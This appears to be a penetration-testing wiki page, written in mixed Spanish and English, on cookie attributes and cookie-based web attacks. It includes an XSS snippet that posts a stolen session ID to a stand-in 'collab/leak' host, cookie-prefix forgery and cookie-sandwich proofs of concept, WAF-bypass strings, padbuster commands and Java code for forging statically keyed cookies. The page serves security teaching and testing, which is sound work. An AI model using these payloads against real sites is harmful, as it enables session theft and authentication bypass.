Hacking con Cookies

Reading time: 22 minutes

Atributos de Cookies

Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. A continuación se presenta un resumen de estos atributos en voz más pasiva:

Expires and Max-Age

La fecha de expiración de una cookie viene determinada por el atributo Expires. Por el contrario, el atributo Max-age define el tiempo en segundos hasta que una cookie se elimina. Prefiere Max-age ya que refleja prácticas más modernas.

Domain

Los hosts que reciben una cookie se especifican mediante el atributo Domain. Por defecto, esto se asigna al host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo Domain se establece explícitamente, también abarca los subdominios. Esto convierte la especificación del atributo Domain en una opción menos restrictiva, útil en escenarios donde es necesario compartir cookies entre subdominios. Por ejemplo, establecer Domain=mozilla.org hace que las cookies sean accesibles en sus subdominios como developer.mozilla.org.

Path

El atributo Path indica una ruta URL específica que debe estar presente en la URL solicitada para que se envíe el encabezado Cookie. Este atributo considera el carácter / como separador de directorios, permitiendo también coincidencias en subdirectorios.

Reglas de ordenación

Cuando dos cookies tienen el mismo nombre, la que se envía se determina por:

• La cookie que coincida con la ruta más larga en la URL solicitada.
• La cookie establecida más recientemente si las rutas son idénticas.

SameSite

• El atributo SameSite dicta si las cookies se envían en solicitudes que se originan desde dominios de terceros. Ofrece tres configuraciones:
• Strict: Restringe que la cookie se envíe en solicitudes de terceros.
• Lax: Permite que la cookie se envíe con solicitudes GET iniciadas por sitios web de terceros.
• None: Permite que la cookie se envíe desde cualquier dominio de terceros.

Recuerda que, al configurar cookies, entender estos atributos ayuda a garantizar que se comporten como se espera en distintos escenarios.

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax for top-level cross-site POST request.

Flags de Cookies

HttpOnly

Esto evita que el cliente acceda a la cookie (por ejemplo vía Javascript: document.cookie)

Bypasses

• If the page is sending the cookies as the response of a requests (for example in a PHPinfo page), it's possible to abuse the XSS to send a request to this page and steal the cookies from the response (check an example in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• This could be Bypassed with TRACE HTTP requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called Cross-Site Tracking.
• This technique is avoided by modern browsers by not permitting sending a TRACE request from JS. However, some bypasses to this have been found in specific software like sending \r\nTRACE instead of TRACE to IE6.0 SP2.
• Another way is the exploitation of zero/day vulnerabilities of the browsers.
• It's possible to overwrite HttpOnly cookies by performing a Cookie Jar overflow attack:

Cookie Jar Overflow

• It's possible to use Cookie Smuggling attack to exfiltrate these cookies
• If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La petición enviará solo la cookie en una solicitud HTTP únicamente si la solicitud se transmite por un canal seguro (típicamente HTTPS).

Prefijos de Cookies

Las cookies con prefijo __Secure- deben establecerse junto con el flag secure desde páginas protegidas por HTTPS.

Para las cookies con prefijo __Host-, se deben cumplir varias condiciones:

• Deben establecerse con el flag secure.
• Deben originar en una página protegida por HTTPS.
• No pueden especificar un dominio, impidiendo su transmisión a subdominios.
• La ruta de estas cookies debe establecerse en /.

Es importante notar que las cookies con prefijo __Host- no están permitidas para ser enviadas a superdominios o subdominios. Esta restricción ayuda a aislar las cookies de la aplicación. Por lo tanto, emplear el prefijo __Host- para todas las cookies de la aplicación puede considerarse una buena práctica para mejorar la seguridad y el aislamiento.

Sobrescribir cookies

Así, una de las protecciones de las cookies con prefijo __Host- es evitar que sean sobrescritas desde subdominios. Previniendo, por ejemplo, Cookie Tossing attacks. En la charla Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) se presenta que era posible establecer cookies con prefijo __HOST- desde un subdominio, engañando al parser; por ejemplo, añadiendo "=" al principio o al principio y al final...:

O en PHP era posible añadir otros caracteres al inicio del nombre de la cookie que iban a ser reemplazados por underscore characters, permitiendo sobrescribir __HOST- cookies:

Unicode whitespace cookie-name smuggling (prefix forgery)

Se abusan las discrepancias entre el parsing del navegador y del servidor al anteponer un code point de espacio en blanco Unicode al nombre de la cookie. El navegador no considerará que el nombre comienza literalmente con __Host-/__Secure-, por lo que permite establecerla desde un subdominio. Si el backend recorta/normaliza los espacios en blanco Unicode iniciales en las claves de cookie, verá el nombre protegido y puede sobrescribir la cookie de alto privilegio.

• PoC desde un subdominio que puede establecer cookies del dominio padre:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Comportamiento típico del backend que permite el problema:

• Frameworks que recortan/normalizan cookie keys. En Django, Python’s str.strip() elimina una amplia gama de Unicode whitespace code points, causando que el nombre se normalice a __Host-name.

• Los puntos de código que comúnmente se recortan incluyen: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Muchos frameworks resuelven nombres de cookie duplicados como “last wins”, por lo que el valor de cookie normalizado controlado por el atacante sobrescribe el legítimo.

• Las diferencias entre navegadores importan:

• Safari bloquea espacios en blanco Unicode multibyte en los nombres de cookie (p. ej., rechaza U+2000) pero aún permite los U+0085 y U+00A0 de un solo byte, que muchos backends recortan. Realiza pruebas cruzadas en distintos navegadores.

• Impacto: Permite sobrescribir cookies __Host-/__Secure- desde contextos menos confiables (subdominios), lo que puede llevar a XSS (si es reflejado), anulación de tokens CSRF y session fixation.

• Ejemplo on-the-wire vs vista del servidor (U+2000 presente en el nombre):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Muchos backends dividen/analizan y luego recortan, resultando en que el __Host-name normalizado adopte el valor del atacante.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the Cookie header starts with $Version=1. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged __Host- entry that was originally set from a subdomain or even over insecure origin.

• PoC forzando legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Por qué funciona:

• Las comprobaciones de prefijo del lado del cliente se aplican durante el set, pero el parsing legacy del lado del servidor luego divide y normaliza la cabecera, eludiendo la intención de las garantías de prefijo __Host-/__Secure-.

• Dónde probar: Tomcat, Jetty, Undertow, o frameworks que aún respeten los atributos RFC 2109/2965. Combinar con la semántica de sobrescritura por nombre duplicado.

Duplicate-name last-wins overwrite primitive

When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.

Detección y herramientas

Usa Burp Suite para probar estas condiciones:

• Prueba múltiples puntos de código de espacio en blanco Unicode al inicio: U+2000, U+0085, U+00A0 y observa si el backend recorta y trata el nombre como con prefijo.
• Envía $Version=1 primero en la cabecera Cookie y verifica si el backend realiza legacy splitting/normalization.
• Observa la resolución de nombres duplicados (primero vs último) inyectando dos cookies que se normalizan al mismo nombre.
• Burp Custom Action para automatizar esto: CookiePrefixBypass.bambda

Consejo: Estas técnicas explotan la brecha octet-vs-string de RFC 6265: los navegadores envían bytes; los servidores decodifican y pueden normalizar/recortar. Las discrepancias en la decodificación y normalización son el núcleo del bypass.

Cookies Attacks

Si una cookie personalizada contiene datos sensibles, revísala (especialmente si estás en un CTF), ya que podría ser vulnerable.

Decoding and Manipulating Cookies

Los datos sensibles incrustados en cookies siempre deben ser examinados. Las cookies codificadas en Base64 u formatos similares a menudo pueden decodificarse. Esta vulnerabilidad permite a un atacante alterar el contenido de la cookie e suplantar a otros usuarios codificando sus datos modificados de nuevo en la cookie.

Session Hijacking

This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.

Session Fixation

In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Haz clic en el enlace anterior para acceder a una página que explica posibles fallos en JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.

Empty Cookies

(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

El resultado en la cabecera cookie enviada es a=v1; test value; b=v2;. Intrigantemente, esto permite la manipulación de cookies si se establece una cookie con nombre vacío, potencialmente controlando otras cookies al establecer la cookie vacía a un valor específico:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Esto provoca que el navegador envíe una cabecera de cookie interpretada por cada servidor web como una cookie llamada a con un valor b.

Error de Chrome: problema con punto de código sustituto de Unicode

En Chrome, si un punto de código sustituto de Unicode forma parte de un set cookie, document.cookie se corrompe, devolviendo posteriormente una cadena vacía:

document.cookie = "\ud800=meep"

Esto hace que document.cookie devuelva una cadena vacía, lo que indica una corrupción permanente.

Cookie Smuggling debido a problemas de parsing

(Consulta más detalles en laoriginal research) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookie debido al soporte obsoleto de RFC2965. Interpretan un valor de cookie entre comillas dobles como un solo valor incluso si incluye puntos y comas, los cuales normalmente deberían separar pares clave-valor:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) El parseo incorrecto de cookies por parte de servidores, notablemente Undertow, Zope y los que usan Python's http.cookie.SimpleCookie y http.cookie.BaseCookie, crea oportunidades para cookie injection attacks. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a atacantes falsificar cookies:

• Undertow expects a new cookie immediately after a quoted value without a semicolon.
• Zope looks for a comma to start parsing the next cookie.
• Python's cookie classes start parsing on a space character.

Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de protección CSRF basada en cookies, ya que permite a atacantes inyectar cookies de token CSRF falsificadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookie duplicados en Python, donde la última aparición sobrescribe las anteriores. También plantea preocupaciones para __Secure- y __Host- cookies en contextos inseguros y podría conducir a bypasses de autorización cuando las cookies se pasan a back-end servers susceptibles a spoofing.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

Cookie Sandwich Attack

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

• Encontrar un lugar donde una aparente cookie se refleje en la respuesta
• Create a cookie called $Version con valor 1 (puedes hacer esto en un ataque XSS desde JS) con un path más específico para que obtenga la posición inicial (algunos frameworks como python no necesitan este paso)
• Create the cookie that is reflected con un valor que deje unas comillas dobles abiertas y con un path específico para que se posicione en la cookie db después de la anterior ($Version)
• Then, the legit cookie will go next in the order
• Create a dummy cookie que cierre las comillas dobles dentro de su valor

De este modo la cookie víctima queda atrapada dentro de la nueva cookie version 1 y será reflejada siempre que se refleje. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Revisa la sección anterior.

Bypassing value analysis with quoted-string encoding

This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

In the RFC2109 it's indicated that a coma puede ser usada como separador entre cookie values. Y también es posible añadir espacios y tabs antes y after the equal sign. Therefore a cookie like $Version=1; foo=bar, abc = qux doesn't generate the cookie "foo":"bar, admin = qux" but the cookies foo":"bar" and "admin":"qux". Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.

Bypassing value analysis with cookie splitting

Finalmente, diferentes backdoors unirían en una cadena distintas cookies pasadas en diferentes cookie headers como en:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Lo cual podría permitir el bypass de un WAF como en este ejemplo:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Comprobaciones adicionales de Cookies vulnerables

Comprobaciones básicas

• La cookie es la misma cada vez que haces login.
• Haz Log out y prueba usar la misma cookie.
• Intenta log in con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
• Comprueba si la cookie contiene información y prueba a modificarla.
• Intenta crear varias cuentas con usernames casi iguales y comprueba si puedes encontrar similitudes.
• Comprueba la opción "remember me" si existe para ver cómo funciona. Si existe y podría ser vulnerable, usa siempre la cookie de remember me sin ninguna otra cookie.
• Comprueba si la cookie anterior sigue funcionando incluso después de cambiar la contraseña.

Ataques avanzados con cookies

Si la cookie permanece igual (o casi) cuando haces login, esto probablemente significa que la cookie está relacionada con algún campo de tu cuenta (probablemente el username). Entonces puedes:

• Intenta crear muchas cuentas con usernames muy similares y trata de adivinar cómo funciona el algoritmo.
• Intenta bruteforce the username. Si la cookie se guarda solo como método de autenticación para tu username, entonces puedes crear una cuenta con username "Bmin" y bruteforce cada bit de tu cookie porque una de las cookies que probarás será la perteneciente a "admin".
• Prueba Padding Oracle (puedes descifrar el contenido de la cookie). Usa padbuster.

Padding Oracle - ejemplos de Padbuster

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster realizará varios intentos y te preguntará cuál condición corresponde al error (la que no es válida).

A continuación, iniciará el decrypting de la cookie (puede tardar varios minutos)

Si el attack se ha realizado con éxito, entonces podrías intentar encrypt una cadena de tu elección. Por ejemplo, si quisieras encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Esta ejecución te dará la cookie correctamente cifrada y codificada con la cadena user=administrator dentro.

CBC-MAC

Puede que una cookie tenga algún valor y sea firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.

The attack

1. Obtén la firma del username administ = t
2. Obtén la firma del username rator\x00\x00\x00 XOR t = t'
3. Establece en la cookie el valor administrator+t' (t' será una firma válida de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

Si la cookie está cifrada usando ECB podría ser vulnerable.
Cuando inicias sesión, la cookie que recibes tiene que ser siempre la misma.

How to detect and attack:

• Crea 2 users con datos casi idénticos (username, password, email, etc.) y trata de descubrir algún patrón dentro de la cookie emitida
• Crea un user llamado por ejemplo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y comprueba si hay algún patrón en la cookie (como ECB cifra con la misma key cada bloque, los mismos bytes cifrados podrían aparecer si se cifra el username).
• Debería haber un patrón (del tamaño de un bloque usado). Entonces, sabiendo cómo se cifran un montón de "a" puedes crear un username: "a"*(size of the block)+"admin". Luego, podrías eliminar el patrón cifrado correspondiente a un bloque de "a" de la cookie. Y tendrás la cookie del username "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

• Identifica la(s) cookie(s) que controlan la auth, p. ej., COOKIEID y ADMINCOOKIEID.
• Determina cipher/encoding. En un caso real la app usó IDEA con una key constante de 16 bytes y devolvía el ciphertext como hex.
• Verifica cifrando tu propio user ID y comparando con la cookie emitida. Si coincide, puedes mint cookies para cualquier target ID (1 a menudo corresponde al primer admin).
• Establece el valor forjado directamente como la cookie y navega; no se necesitan credenciales.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Referencias

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda